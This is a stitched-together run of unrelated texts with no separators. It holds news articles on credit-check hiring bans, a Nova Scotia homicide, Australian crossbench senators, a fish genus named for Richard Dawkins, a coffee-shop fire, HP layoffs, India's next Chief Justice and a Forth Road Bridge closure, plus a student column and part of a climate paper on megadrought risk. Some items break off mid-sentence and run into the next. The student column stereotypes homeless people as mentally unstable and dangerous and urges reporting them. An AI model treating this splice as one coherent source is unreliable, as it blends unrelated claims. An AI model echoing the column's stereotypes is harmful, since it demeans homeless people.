If you have bad credit, good luck finding a job. According to a 2012 survey, 47 percent of employers said they run credit checks on applicants. Many hiring managers believe that a troubled financial history signals untrustworthiness, or a defective work ethic, so they weed out job-seekers with stains on their credit reports.
This probably doesn't make sense. Studies find little evidence that possessing a clean financial record has anything to do being a good worker. Medical debt, not credit card debt, is the top reason that people file for bankruptcy. When employers regularly reject applicants bearing the scars of financial distress, poverty becomes an airtight trap.
For these reasons, one of the hottest ideas among lawmakers right now is to ban employers from running credit checks on job applicants. Since 2007, eleven states, as well as Chicago and New York City, have passed such laws.
Supporters of these restrictions often frame the issue as a civil rights problem. In particular, they say, credit checks impede employment among minorities, who disproportionately have low credit scores.
When employers screen for credit histories, "it locks people out of jobs in ways that simply make no sense," New York City Council Member Brad Lander, the main sponsor of the city’s measure, said in April. "In the big picture, that also adds up to discrimination against communities of color and low income people."
But a new study from Robert Clifford, an economist at the Boston Fed, and Daniel Shoag, an assistant professor at Harvard’s Kennedy School, finds that when employers are prohibited from looking into people’s financial history, something perverse happens: African-Americans become more likely to be unemployed relative to others.
There were always going to be winners and losers from these bans, Shoag says. That’s because these kinds of regulations don’t really create new jobs. They help some people to get hired at the expense of others. “Even the strongest proponents of the bans, I think, didn’t expect employment to increase overall,” Shoag says. “There was going to be some redistribution of jobs.”
What’s surprising is how that redistribution happened. In states that passed credit-check bans, it became easier for people with bad credit histories to compete for employment. But disproportionately, they seem to have elbowed aside black job-seekers.
The people who benefitted from credit check bans
Clifford and Shoag found that when a state passed a credit-check ban, employment went up by about 2 to 3 percent in neighborhoods with low average credit scores (below 620). This is all relatively speaking — for comparison, and to rule out coincidences, the economists also looked at states that didn’t have credit-check bans, and neighborhoods with high credit scores.
While neighborhoods with bad credit benefited from the new laws, neighborhoods with slightly higher credit scores suffered. This chart illustrates how jobs shifted around after credit-check bans took effect.Neighborhoods with average credit scores between 575-600, for instance, saw employment increase by 5 percent increase compared to neighborhoods with average credit scores over 670. But neighborhoods with average credit scores between 640-650 saw employment fall about 3 percent.
The researchers also found that when a state passed a credit-check ban, it attracted workers from other states — particularly out-of-state workers from neighborhoods where people had bad credit on average. This is further evidence that these laws did what they were expected to do. They made it more likely for people with bad credit to find employment.
These were good jobs too. The laws had the strongest effect on those who were seeking positions paying upwards of $40,000 a year. The results suggest that credit checks were mostly keeping people out of higher-paying jobs. When states outlawed employer credit checks, applicants with bad credit had a better shot at reaching the middle class.
Why did black unemployment go up?
To understand how banning credit checks can lead to unforeseen repercussions, consider the problem from the employer’s perspective. A single job opening these days can get hundreds of applications. Since hiring managers can’t interview every candidate, they need some way to narrow the field. Filtering out people with bad credit helps them bring the number of applicants down to a manageable size. But if employers can’t look into a job-seeker’s financial history, they try something else.
“Employers have many screening measures to narrow down who they want to hire,” Shoag says. “If you take one away, they'll put more weight on the others.”
That’s exactly what seemed to happen in places that outlawed employer credit checks. Looking at 74 million job listings between 2007 and 2013, Clifford and Shoag found that employers started to become pickier, especially in cities where there were a lot of workers with low credit scores. If a credit-check ban went into effect, job postings were more likely to ask for a bachelor’s degree, and to require additional years of experience.
There are other ways that employers could have also become more discerning, Shoag says. They might have started to rely on referrals or recommendations to make sure that applicants were high-quality. In the absence of credit information to establish trustworthiness, they may even have fallen back on racial stereotypes to screen candidates. The researchers couldn’t measure these tactics, but they’re possibilities.
Any of these reasons might explain one of the study’s strangest findings. In states that passed a credit-check ban, unemployment for African-Americans rose by about one percent compared to unemployment in other states and among other demographic groups. This remained true after controlling for factors like education, age, and gender.
Why were African-Americans put at a disadvantage when states banned employer credit checks? It could be that black job-seekers found it harder to meet the increased education and experience requirements that employers started to impose. Or it could be that employers simply started to become tougher on black applicants because they couldn’t verify their credit histories and assumed the worst.
A powerful study published last year in the Review of Economics and Statistics shows something of the opposite happening: When employers began to require drug tests for job applicants, they started hiring more African-Americans.
“The likely explanation for these findings is that prior to drug testing, employers overestimated African-Americans' drug use relative to whites,” the study’s author explained in an op-ed. Drug tests allowed black job applicants to disprove the incorrect perception that they were addicts.
It’s possible that credit checks were playing a similar role to drug tests, offering a counterbalance to inherent biases or assumptions about black job-seekers. In the absence of that information, employers had to rely more on other clues about the quality of applicants, including their education and experience levels, but also, perhaps, their interview skills or their recommendations. Whatever the new criteria were, they seem to have put black applicants at a disadvantage.
“This reflects a general movement of legislators monkeying around with the hiring process without thinking about the consequences,” Shoag says. It makes sense that employers should not discriminate against people for past financial misfortunes. But we should also be suspicious of laws that increase racial disparities.
Is the world fairer, now that 11 states prohibit employers from running credit checks on job applicants? According to Clifford and Shoag’s research, the answer is hard to say.RCMP are looking into whether the death of Tylor McInnis is connected to a string of homicides that shocked people in the Halifax-area in the spring, as one anti-violence advocate says he's fed up with the violence in the city.
"We almost made it through the summer, but it's still another young man dead," said Quentrel Provo, who founded the group Stop the Violence.
"A lot of people are frustrated. People are just frustrated all across Nova Scotia because it's another young person."
Few details
McInnis's body was discovered in the trunk of a stolen car in St. Thomas Baptist Church Cemetery in North Preston, N.S., on Tuesday. Police have released few details, only to say the 26-year-old was the victim of a homicide.
"I can tell you that at this time, based on the information that we do have, we do not believe this to be a random act," said RCMP Cpl. Dal Hutchinson.
Quentrel Provo, an anti-violence activist in Halifax, says people are frustrated with the crime in the city. (CBC)
Hutchinson says police don't know about suspects or a motive at this time, but they are looking into whether McInnis's death is connected to any of the four shootings that occurred in the spring.
"That is something that is going to be part of the investigation, and again, as you can appreciate, we are in the early stages now. But yes, it is something we will be looking at to see if there's any connection."
Family grieving
Provo, meanwhile, is wondering when the violence will finally come to an end.
"We continue to say'rest in peace' and do nothing. But there's a family that is hurting," he said.
"Everyone's trying to figure out ways to stop this violence, but there's many solutions that have to be created to put an end to this. There's many paths, many steps you have to take. It's not just one thing that's going to change it, and stop it."One Nation Senator Pauline Hanson and Senator Derryn Hinch pose for a photo before an induction for new senators at Parliament House in Canberra, (AAP)
As the newly-elected politicians head to Parliament, the power of the crossbenchers has never been more evident. With the ability to stall legislation in the Senate, are they good for Australia's democratic processes?
Australians are turning away from the major parties in increasingly large numbers, with nearly a quarter of voters backing minor party candidates in the recent federal election.
The increasing presence of these elected representatives poses the question of whether the power they will wield – particularly in the Senate – will enhance or thwart democratic processes in Australia.
Emeritus Professor Rod Tiffen, who specialises in Australian politics and comparative democratic politics at the University of Sydney, believes the minor parties have an important role in representing those who do not want to vote for the major parties, but says their ability to be a force for democratic good will vary.
“They all have their own self-interest, prejudices and blind spots – some have very big prejudices and blind spots – but they are part of the checks and balances and dialogues that are part of democracy,” he says.
“If enough people voted for the minor parties, that’s democracy.”
The Coalition just scraped in to form majority government in the 2016 federal election, but legislation will still have to be negotiated with the minor party and independent senators to pass the Senate.
The classic argument is that a small group holding the balance of power is holding the majority to ransom.
These senators outside the major parties will be making crucial decisions on historic legislation in the coming years, including the marriage equality plebiscite and Indigenous constitutional recognition.
They will also be able to strike deals in exchange for support.
“The classic argument is that a small group holding the balance of power is holding the majority to ransom,” says Tiffen.
Such was the experience of the NSW Government in 2012, when the Shooters and Fishers Party held the balance of power in the upper house. The O’Farrell government was only able to pass legislation on the sale of NSW electricity generators after it struck a deal with the minor party to allow recreational hunting in some national parks.
The Gillard government, too, was at the mercy of independents Rob Oakshott, Tony Windsor and Andrew Wilkie to form minority government in 2010, promising them funding for electorate developments and positions in government in return for their support.
Tiffen points out that this dynamic is not always negative.
“[The minor parties] can be a force of renewal,” he says. “They can bring up issues that the major parties wouldn’t normally touch. “
Andrew Wilkie and Nick Xenophon will, for example, be pushing for gambling reforms in their parliamentary terms following the 2016 election.
The Nick Xenophon Team, whose senators will play a major role in deciding on legislation in the next parliamentary term.
Whether the crossbench has a responsibility to work with the major parties on legislation their election may have given mandate to is another question. Tiffen believes they should be cooperating, but also says their decision-making power could be countered with bipartisanship.
“In theory, senators should be responding to the wish of the government of the day,” he says. “But if the Labor Party and the Liberal Party agree, it makes the minor party members irrelevant.”
The potential for irrelevancy may have negative outcomes – for both the major and minor parties.
Historically, the minor parties have played a major role in scrutinising the government of the day, particularly in the Senate. In the early 70s, the Senate was given more power to challenge legislation and policies that came before it. The visibility of such power has proven beneficial to minor party senators.
“The effect was to establish a symbiotic relationship between minor parties and the Senate—the greater the influence of minor parties in the Senate, the more visible the Senate became to the public and the more publicity minor parties got for their policies,” writes University of Western Australia Professor Campbell Sharman, in a paper published by parliament.
The great thing about any election is that there’s another election.
In periods where there have been fewer minor party and independent senators in the Senate, important debate on controversial legislation has been stymied. When Howard had a majority after the 2004 election, says Tiffen, debate was shut down and there were no referrals to committees.
“It was bad for the Liberals, because they were so arrogant. They weren’t re-elected in the 2007 election,” he says.
“[And] if you remember the last period where a government held the majority, 2005 – 2007, it wasn’t a good period of government.”
Many governments around the world – particularly in Europe - uphold democratic processes through multi-party, proportional representation systems. If Australia is moving more towards this style of government, Tiffen believes it’s won’t be a bad thing.
“It has produced a more civilised form of politics,” he says, of these systems in Western Europe and New Zealand.
As Parliament begins its 45th session today, Tiffen says it’s important to remember the time of those in power is finite.
“The great thing about any election is that there’s another election,” he says.
Hear from the voters who elected minor party candidates in this week's episode of Insight: Minority Report | Catch-up online now:
Further reading What issues drove voters away from major parties this election? With nearly a quarter of Australians electing to vote for minor parties in the 2016 election, Insight discovers the issues driving their decisions. How to form a minor party The recent election of 14 minor party and independent candidates to the Australian parliament proves dreams of being an elected representative are within reach. Minority Report Who gave a major boost to the minor parties in this election and why? Why we need to hear what controversial people say and not silence the debate Differing opinions are desirable, and debating them openly leads to a more informed and reasoned outcome, writes Peter Ellerton.
.SRI Lankan scientists have identified a new genus of freshwater fish and named it after the evolutionary biologist and renowned atheist Richard Dawkins.
Lead researcher Rohan Pethiyagoda said the new genus, named Dawkinsia, comprises nine species that are found only in South Asia and are characterised by long filaments that trail from the dorsal fins of males.
The fish has previously been classified under the genus Puntius, comprising around 120 species of small tropical fish known as barbs.
Pethiyagoda, an ichthyologist and internationally acclaimed conservationist, said extensive studies in India and Sri Lanka showed that the level of diversity among such fish was "much greater than previously suspected".
This was partly the reason that the study group had chosen to name the new genus after the 71-year-old Dawkins, the British author of the anti-religion polemic, The God Delusion.
"Richard Dawkins has through his writings helped us understand that the universe is far more beautiful and awe-inspiring than any religion has imagined," Pethiyagoda told AFP on Monday.
"We hope that Dawkinsia will serve as a reminder of the elegance and simplicity of evolution, the only rational explanation there is for the unimaginable diversity of life on Earth," he said.
Male Dawkinsia barbs advertise their fitness by growing long fin filaments that make them more attractive to females, but also dangerously conspicuous to predators.
"The filaments are rather like the peacock's tail, expensive ornaments that place their owner at greater risk while offering him the reward of being the preferred choice of females," Pethiyagoda said.
The genus re-classification followed an eight-year study of the DNA, bone structures and overall anatomy of Puntius species.VASSALBORO, Maine (AP) A topless coffee shop that created controversy went up in flames early Wednesday, just hours after the owner talked with local officials about making the business more like a strip club. Investigators from the state fire marshal's office were sifting through the smoking ruins of the Grand View Topless Coffee Shop to determine what caused the blaze. COFFEE SHOPS: Scantily clad baristas boost sales The fire was reported just before 1 a.m. by an ambulance that happened to be driving past. It took about 50 firefighters from eight communities to douse it. Owner Donald Crabtree, who escaped unharmed along with six others, was asked if the fire seemed suspicious, coming just hours after he appeared before the town's planning board. "I don't even dare to say at this time," Crabtree said. At the shop, waiters and waitresses without shirts served coffee and doughnuts. Crabtree had met Tuesday night with planning officials to discuss adding a disc jockey, expanding parking and extending the hours of operation. Crabtree said he spent $277,000 buying and renovating the former motel. It wasn't insured, he said. The shop's opening in February raised the ire of dozens of local residents. Someone recently called police to complain that a waitress was outside the business without a shirt. An ordinance was proposed to regulate nudity at local businesses. While many people dropped by Wednesday morning to show support, it was clear that others were pleased about the fire, said Paul Crabtree, the owner's brother. "It's sad to see people driving by and acting happy about it," he said. Steve Cooper, of Vassalboro, stopped to peruse the damage while passing by on his motorcycle. He had never been in the shop, but said it was a shame the fire had put people out of work. "I don't think the business was doing any harm," he said. A waitress at the shop, Krista MacIntyre, said the job was the best she's ever had. She hopes the fire doesn't put the shop out of business. "We should keep on going, get back up and make it an even bigger place," she said. Copyright 2009 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read moreHP will cut 27,000 jobs --- around 8 percent of its global workforce --- in an effort to restructure the company to bolster its bottom line. HP said it will take $3--3.5 billion in savings and invest it in R&D.
HP chief executive Meg Whitman said the cuts will spread over the next two years --- the end of fiscal year 2014 --- reducing the short-term harm to morale in the company.
The cuts are necessary given HP's productivity, and most of the savings will go back to R&D. "We are not taking our eye off the ball when it comes to executing against our ongoing priority," she added.
Today, 3 percent of sales goes into R&D. Once the savings kick in, HP will see a rise to 5 percent of revenue assuming revenue figures stays where it is. Whitman also said she expects to reduce expenses in other areas in order to afford the dive into R&D. It's not clear whether this means other savings or further layoffs.
Whitman seems to realize the obvious: jobs cuts are not a cure all for HP. HP had a series of chief executives who failed to future-proof the company. HP has jettisoned more than 75,000 jobs over the past decade and again resorts to a band-aid solution to a broken limb problem.
Where will the money go?
In a statement, HP said it will make the following R&D bets:
Services will invest in cloud, analytics and high-value delivery.
Software will invest in analytics, big data, application management and security.
The servers, storage and networking unit will bet on cloud and big data technologies.
Those bets are largely already made by HP, but apparently the company will step up its current efforts. HP will also invest in marketing and sales productivity to enable a streamlined experience for future business with the company.
HP will take a charge of $1.7 billion in fiscal 2012 to restructure, and another $1.8 billion through 2014.
Over the past decade, HP has become bloated from a spate of acquisitions and now is dealing with the hangover. HP's direction was all over the place and in an attempt to compete with its rivals on a number of fronts; it failed on most of them.
If we take HP's operating profit per employee, both Apple and IBM rest at $49,000, and Dell falls slightly short at $48,000. HP, which retains the PC building top spot over Dell, only makes $35,000. HP has to lower the ratio and lay of vast swathes of employees to balance out the numbers.
Under former chief executive Mark Hurd's tenure, HP chopped around 50,000 jobs in five years. When Leo Apotheker sat in the driving seat, the board approved a respite plan, despite it only recently passing Hurd's deep cuts. Apotheker was booted out less than a year later, and now Whitman is back to making job cuts.
It's worth noting, despite it being an obvious fact, that HP has shed more than half of its stock price since Hurd's resignation in August 2010. HP has also lost more than half of its market cap worth, dropping from $107 billion in Q3 2010 to $41.3 billion at market close.
HP has missed a few market curves --- notably smartphones and tablets --- and left the company tethered to PCs and printers. Summer demand for PCs will be slow. HP has the October--January period in the bag with the launch of Windows 8, but analysts have already warned that the initial uptake to the forthcoming operating system may cut PC sales short on last year's figures.
Image source: Flickr (CC) via CNET.
Related:Recently I’ve noticed a strange rise in the number of homeless people plaguing our campus. During my first year here at UC Irvine, I never noticed anything out of the ordinary as far as the presence of the homeless is concerned. Sure, there would be the occasional weird-looking guy at the bus stop, but that is to be expected. In the past month of class, however, I’ve witnessed at least two homeless people on campus.
My first homeless person sighting occurred two weeks ago at the local Zot-n-Go. It was my long day of class, and I stopped in to get a quick bite to eat between classes. I met a friend at the tables outside and talked to him briefly before entering. Once I was inside, I noticed an elderly gentleman talking loudly with the cashier. He was dressed in shabby, faded clothing, his face was unshaven, and as I walked past him, I noticed he didn’t smell very good, to put it nicely. I don’t remember exactly what he was saying to the cashier, but I do remember thinking to myself, “Okay, that guy definitely doesn’t have all the lights on upstairs.” He paid for his coffee and walked outside ahead of me. I paid for my snack and walked outside, imagining the look on my friend’s face when I told him about what I had seen.
Suddenly, I looked up toward where my friend was sitting, and I stopped in my tracks. There was the crazy old guy, seated across from my friend and whispering to him in a conspiratorial tone. I hung back, wary of drawing attention to myself, and waited for the man to leave. After less than a minute, he left, and I sat down and asked my friend what the old man had been talking about. Apparently, he just walked up to my friend and said, “You’re Ethiopian, aren’t you?” The weird thing was that my friend was indeed Ethiopian, and he told the old man so. “What did he say after that?” I asked. According to my friend, the old man continued to spout some confused, conspiratorial babble, warning my friend against associating with “white homosexuals” and “undercover terrorist cells,” among other things.
We were both a little weirded out, and we were laughing it off when we heard a voice yelling at us from the portion of Ring Road that borders the Zot-n-Go. It was the same old man! He was walking toward Humanities Gateway, and he must have seen me talking with my friend as he walked past us. He was now yelling at my friend to “keep quiet” and to not “go around sharing what I talked to you about.” Needless to say, we had a source of entertainment for the rest of the day, but I couldn’t quite shake off the sense of dread that I felt when I wondered whether this wasn’t the only crazy person roaming our campus.
I have seen my second “homeless person of note” several times. This particular gentleman seems to have made Langson Library his favorite haunt. The man himself is nothing special at first sight (although he does give off a certain “homeless person” vibe), and I may not have even noticed him if it wasn’t for the three gigantic backpacks the size of laundry sacks that he lugs around with him. I’ve spotted this man either sleeping or reading from a giant stack of books in Langson Library at least half a dozen times, and he is never without his giant bags.
Of course, there’s no way for me to know for sure whether these two men really are homeless, but I wasn’t born yesterday. I’m sure that our beautiful campus is considered a veritable Valhalla amongst the vagrant masses, and I’m almost surprised that I haven’t seen more homeless people roaming around campus. But this just makes me wonder whether there really are more crazy old guys lurking around campus. This idea makes me especially afraid for any lone students walking around campus at night.
Personally, I know that I would feel a lot better if our campus security forces made an active effort to keep such people away. After all, if skateboarders aren’t even allowed on campus anymore, then I think that we should be rid of the mentally unstable homeless.
A college campus is no place for a homeless person. There is little more distracting to a good library study session than the sight of the disheveled man sitting three chairs away, eyeing his pile of tomes with a strange look in his eye as he props his thin-soled shoes on the three humongous bags that hold all his worldly possessions. I’m not sure what the procedure is for these kinds of things, but if you see a homeless person wandering on campus or lounging in the library, I suggest that you find the nearest campus employee and alert them to the fact. And for those of you traversing the campus alone at night, remember that a college campus (even one in good old, hum-drum Irvine) is just as likely to hold creeps as any other place, and you need to keep your eyes open!
Spencer Grimes is a fourth-year English major. He can be reached at sgrimes@uci.edu.NEW DELHI: India will get its first Chief Justice from the Sikh community in the new year as Justice Jagdish Singh Khehar will be sworn in as the next CJI on January 4.The process for Justice Khehar’s appointment as the next CJI was set in motion by incumbent CJI T S Thakur, who wrote to the Union government on Tuesday recommending his appointment as the next CJI. This is in sync with the tradition of the CJI being succeeded by the seniormost judge in the Supreme Court.Justice Thakur retires on January 3. In his letter to law minister Ravi Shankar Prasad, Justice Thakur described Justice Khehar as a competent and worthy successor.Interestingly, 64-year-old Justice Khehar’s appointment as CJI would mean persons from the Sikh community getting to occupy the three most important posts in Indian democracy over a period of time — President ( Giani Zail Singh ), PM ( Manmohan Singh ) and CJI. Justice Khehar was appointed as an SC judge on September 13, 2011.Justice Khehar will have a short tenure of a little over seven months — from January 4 till August 28. He earned a place in history when the five-judge bench headed by him shot down the National Judicial Appointments Commission (NJAC), a body being set up through a constitutional amendment unanimously passed by Parliament to select judges for the SC and HCs.Justice Khehar authored the lead judgment and termed the NJAC a threat to independence of judiciary as the law minister was part of the committee to select judges.However, he took into account the strong criticism of the opaque procedure employed by the SC-devised collegium system to select persons for appointment as judges and directed the government to redraft the Memorandum of Procedure (MoP) for judges’ appointment and make it more transparent.The non-finalisation of MoP has been a handle for the government to counter the present CJI, who has accused the Centre of sitting over recommendations for appointment of judges. The ball, which was thrown into the Centre’s court on December 15, 2015 on framing of MoP, will now be back in Justice Khehar’s court after he assumes charge. The MoP finalisation and filling up of nearly 500 judges’ posts in the higher judiciary, including seven in the SC, would be one of the foremost tasks before Justice Khehar and his senior colleagues.Justice Khehar also headed a bench which created history by restoring the Congress government headed by Nabam Tuki to power in Arunachal Pradesh even after it was dismissed and President’s Rule was imposed.Known for his wit in the court room and frankness in calling a spade a spade, Justice Khehar was a long way from law when he graduated in science from Government College, Chandigarh, in 1974. He chose law as a career and completed graduation in law in 1977 from Panjab University. He got LLM degree in 1979 and stood first to win gold medal from the same university.Immediately after his postgraduation in law, he started practice in Punjab and Haryana HC and was designated senior advocate in 1995. He participated in proceedings relating to removal of two judges — SC judge V Ramaswamy and Chief Justice of Karnataka P D Dinakaran. In the Ramaswamy case, he appeared as counsel for one of the MPs who supported Ramaswamy before the inquiry panel headed by Justice P B Sawant. In the Dinakaran case, he as Chief Justice of Uttarakhand HC headed the inquiry panel.Traffic on the Forth Road Bridge will be restricted to a single lane in each direction until at least the middle of the day on Thursday.
Engineers have been inspecting a defect on the bridge, causing lengthy delays for motorists.
The southbound carriageway was closed on Tuesday night as a precaution.
The road network company Amey has revealed there are eight parts of the bridge where a similar problem could be encountered in the future.
There was significant disruption on the M90 and Kincardine Bridge earlier on Wednesday as a result of the defect, with a contra flow currently operating on the northbound carriageway.
One commuter said: " |
century and earlier paleoclimatic intervals. This desiccation is consistent across most of the models and moisture balance variables, indicating a coherent and robust drying response to warming despite the diversity of models and metrics analyzed. Notably, future drought risk will likely exceed even the driest centuries of the Medieval Climate Anomaly (1100–1300 CE) in both moderate (RCP 4.5) and high (RCP 8.5) future emissions scenarios, leading to unprecedented drought conditions during the last millennium.
Keywords
drought
paleoclimate
climate change
North America
INTRODUCTION Millennial-length hydroclimate reconstructions over Western North America (1–4) feature notable periods of extensive and persistent Medieval-era droughts. Such “megadrought” events exceeded the duration of any drought observed during the historical record and had profound impacts on regional societies and ecosystems (2, 5, 6). These past droughts illustrate the relatively narrow view of hydroclimate variability captured by the observational record, even as recent extreme events (7–9) highlighted concerns that global warming may be contributing to contemporary droughts (10, 11) and will amplify drought severity in the future (11–15). A comprehensive understanding of global warming and 21st century drought therefore requires placing projected hydroclimate trends within the context of drought variability over much longer time scales (16, 17). This would also allow us to establish the potential risk (that is, likelihood of occurrence) of future conditions matching or exceeding the severest droughts of the last millennium. Quantitatively comparing 21st century drought projections from general circulation models (GCMs) to the paleo-record is nevertheless a significant technical challenge. Most GCMs provide soil moisture diagnostics, but their land surface models often vary widely in terms of parameterizations and complexity (for example, soil layering and vegetation). There are few large-scale soil moisture measurements that can be easily compared to modeled soil moisture, and none for intervals longer than the satellite record. Instead, drought is typically monitored in the real world using offline models or indices that can be estimated from more widely measured data, such as temperature and precipitation. One common metric is the Palmer Drought Severity Index (PDSI) (18), widely used for drought monitoring and as a target variable for proxy-based reconstructions (1, 2). PDSI is a locally normalized index of soil moisture availability, calculated from the balance of moisture supply (precipitation) and demand (evapotranspiration). Because PDSI is normalized on the basis of local average moisture conditions, it can be used to compare variability and trends in drought across regions. Average moisture conditions (relative to a defined baseline) are denoted by PDSI = 0; negative PDSI values indicate drier than average conditions (droughts), and positive PDSI values indicate wetter than normal conditions (pluvials). PDSI is easily calculated from GCMs using variables from the atmosphere portion of the model (for example, precipitation, temperature, and humidity) and can be compared directly to observations. However, whereas recent work has demonstrated that PDSI is able to accurately reflect the surface moisture balance in GCMs (19), other studies have highlighted concerns that PDSI may overestimate 21st century drying because of its relatively simple soil moisture accounting and lack of direct CO2 effects that are expected to reduce evaporative losses (12, 20, 21). We circumvent these concerns by using a more physically based version of PDSI (13) (based on the Penman-Monteith potential evapotranspiration formulation) in conjunction with soil moisture from the GCMs to demonstrate robust drought responses to climate change in the Central Plains (105°W–92°W, 32°N–46°N) and the Southwest (125°W–105°W, 32°N–41°N) regions of Western North America.
RESULTS We calculate summer season [June-July-August (JJA)] PDSI and integrated soil moisture from the surface to ~30-cm (SM-30cm) and ~2- to 3-m (SM-2m) depths from 17 GCMs (tables S1 and S2) in phase 5 of the Coupled Model Intercomparison Project (CMIP5) database (22). We focus our analyses and presentation on the RCP 8.5 “business-as-usual” high emissions scenario, designed to yield an approximate top-of-atmosphere radiative imbalance of +8.5 W m−2 by 2100. We also conduct the same analyses for a more moderate emissions scenario (RCP 4.5). Over the calibration interval (1931–1990), the PDSI distributions from the models are statistically indistinguishable from the North American Drought Atlas (NADA) (two-sided Kolmogorov-Smirnov test, p ≥ 0.05), although there are some significant deviations in some models during other historical intervals. North American drought variability during the historical period in both models and observations is driven primarily by ocean-atmosphere teleconnections, internal variability in the climate system that is likely to not be either consistent across models or congruent in time between the observations and models, and so such disagreements are unsurprising. In the multimodel mean, all three moisture balance metrics show markedly consistent drying during the later half of the 21st century (2050–2099) (Fig. 1; see figs. S1 to S4 for individual models). Drying in the Southwest is more severe (RCP 8.5: PDSI = −2.31, SM-30cm = −2.08, SM-2m = −2.98) than that over the Central Plains (RCP 8.5: PDSI = −1.89, SM-30cm = −1.20, SM-2m = −1.17). In both regions, the consistent cross-model drying trends are driven primarily by the forced response to increased greenhouse gas concentrations (13), rather than by any fundamental shift in ocean-atmosphere dynamics [indeed, there is a wide disparity across models regarding the strength and fidelity of the simulated teleconnections over North America (23)]. In the Southwest, this forcing manifests as both a reduction in cold season precipitation (24) and an increase in potential evapotranspiration (that is, evaporative demand increases in a warmer atmosphere) (13, 25) acting in concert to reduce soil moisture. Even though cold season precipitation is actually expected to increase over parts of California in our Southwest region (24, 26), the increase in evaporative demand is still sufficient to drive a net reduction in soil moisture. Over the Central Plains, precipitation responses during the spring and summer seasons (the main seasons of moisture supply) are less consistent across models, and the drying is driven primarily by the increased evaporative demand. Indeed, this increase in potential evapotranspiration is one of the dominant drivers of global drought trends in the late 21st century, and previous work with the CMIP5 archive demonstrated that the increased evaporative demand is likely to be sufficient to overcome precipitation increases in many regions (13). In the more moderate emissions scenario (RCP 4.5), both the Southwest (RCP 4.5: PDSI = −1.49, SM-30cm = −1.63, SM-2m = −2.39) and Central Plains (RCP 4.5: PDSI = −1.21, SM-30cm = −0.89, SM-2m = −1.17) still experience significant, although more modest, drying into the future, as expected (fig. S5). Fig. 1 Top: Multimodel mean summer (JJA) PDSI and standardized soil moisture (SM-30cm and SM-2m) over North America for 2050–2099 from 17 CMIP5 model projections using the RCP 8.5 emissions scenario. SM-30cm and SM-2m are standardized to the same mean and variance as the model PDSI over the calibration interval fromthe associated historical scenario (1931–1990). Dashed boxes represent the regions of interest: the Central Plains (105°W–92°W, 32°N–46°N) and the Southwest (125°W–105°W, 32°N–41°N). Bottom: Regional average time series of the summer season moisture balance metrics from the NADA and CMIP5models. The observational NADA PDSI series (brown) is smoothed using a 50-year loess spline to emphasize the low-frequency variability in the paleo-record. Model time series (PDSI, SM-30cm, and SM-2m) are the multimodel means averaged across the 17 CMIP5models, and the gray shaded area is the multimodel interquartile range for model PDSI. In both regions, the model-derived PDSI closely tracks the two soil moisture metrics (figs. S6 and S7), correlating significantly for most models and model intervals (figs. S8 and S9). Over the historical simulation, average model correlations (Pearson’s r) between PDSI and SM-30cm are +0.86 and +0.85 for the Central Plains and Southwest, respectively. Correlations weaken very slightly for PDSI and SM-2m: +0.84 (Central Plains) and +0.83 (Southwest). The correlations remain strong into the 21st century, even as PDSI and the soil moisture variables occasionally diverge in terms of long-term trends. There is no evidence, however, for systematic differences between the PDSI and modeled soil moisture across the model ensemble. For example, whereas the PDSI trends are drier than the soil moisture condition over the Southwest in the ACCESS1-0 model, PDSI is actually less dry than the soil moisture in the MIROC-ESM and NorESM1-M simulations over the same region (fig. S7). These outlier observations, showing no consistent bias, in conjunction with the fact that the overall comparison between PDSI and modeled soil moisture is markedly consistent, provide mutually consistent support for the characterization of surface moisture balance by these metrics in the model projections. For estimates of observed drought variability over the last millennium (1000–2005), we use data from the NADA, a tree-ring based reconstruction of JJA PDSI. Comparisons between the NADA and model moisture are shown in the bottom panels of Fig. 1. In the NADA, both the Central Plains (Fig. 2) and Southwest (Fig. 3) are drier during the Medieval megadrought interval (1100–1300 CE) than either the Little Ice Age (1501–1849) or historical periods (1850–2005). For nearly all models, the 21st century projections under the RCP 8.5 scenario reveal dramatic shifts toward drier conditions. Most models (indicated with a red dot) are significantly drier (one-sided Kolmogorov-Smirnov test, p ≤ 0.05) in the latter part of the 21st century (2050–2099) than during their modeled historical intervals (1850–2005). Strikingly, shifts in projected drying are similarly significant in most models when measured against the driest and most extreme megadrought period of the NADA from 1100 to 1300 CE (gray dots). Results are similar for the more moderate RCP 4.5 emissions scenario (figs. S10 and S11), which still indicates widespread drying, albeit at a reduced magnitude for many models. Although there is some spread across the models and metrics, only two models project wetter conditions in RCP 8.5. In the Central Plains, SM-2m is wetter in ACCESS1-3, with little change in SM-30cm and slightly wetter conditions in PDSI. In the Southwest, CanESM2 projects markedly wetter SM-2m conditions; PDSI in the same model is slightly wetter, whereas SM-30cm is significantly drier. Fig. 2 Interquartile range of PDSI and soil moisture from the NADA and CMIP5 GCMs, calculated over various time intervals for the Central Plains. The groups of three stacked bars at the top of each column are from the NADA PDSI: 1100–1300 (the time of the Medieval-era megadroughts, brown), 1501–1849 (the Little Ice Age, blue), and 1850–2005 (the historical period, green). Purple and red bars are for the modeled historical period (1850–2005) and late 21st century (2050–2099) period, respectively. Red dots indicate model 21st century drought projections that are significantly drier than the model simulated historical periods. Gray dots indicate model 21st century drought projections that are significantly drier than the Medieval-era megadrought period in the NADA. When the RCP 8.5 multimodel ensemble is pooled together (Fig. 4), projected changes in the Central Plains and Southwest (2050–2099 CE) for all three moisture balance metrics are significantly drier compared to both the modern model interval (1850–2005 CE) and 1100–1300 CE in the NADA (one-sided Kolmogorov-Smirnov test, p ≤ 0.05). In the case of SM-2m in the Southwest, the density function is somewhat flattened, with an elongated right (wet) tail. This distortion arises from the disproportionate contribution to the density function from the wetting in the five CanESM2 ensemble members. Even with this contribution, however, the SM-2m drying in the multimodel ensemble is still significant. Results are nearly identical for the pooled RCP 4.5 multimodel ensemble (fig. S12), which still indicates a significantly drier late 21st century compared to either the historical interval or Medieval megadrought period. Fig. 3 Same as Fig. 2, but for the Southwest. Fig. 4 Kernel density functions of PDSI, SM-30cm, and SM-2m for the Central Plains and Southwest, calculated from the NADA and the GCMs. The NADA distribution (brown shading) is from 1100–1300 CE, the timing of the medieval megadroughts. Blue lines represent model distributions calculated from all years from all models pooled over the historical scenario (1850–2005 CE). Red lines are for all model years pooled from the RCP 8.5 scenario (2050–2099 CE). With this shift in the full hydroclimate distribution, the risk of decadal or multidecadal drought occurrences increases substantially. We calculated the risk (17) of decadal or 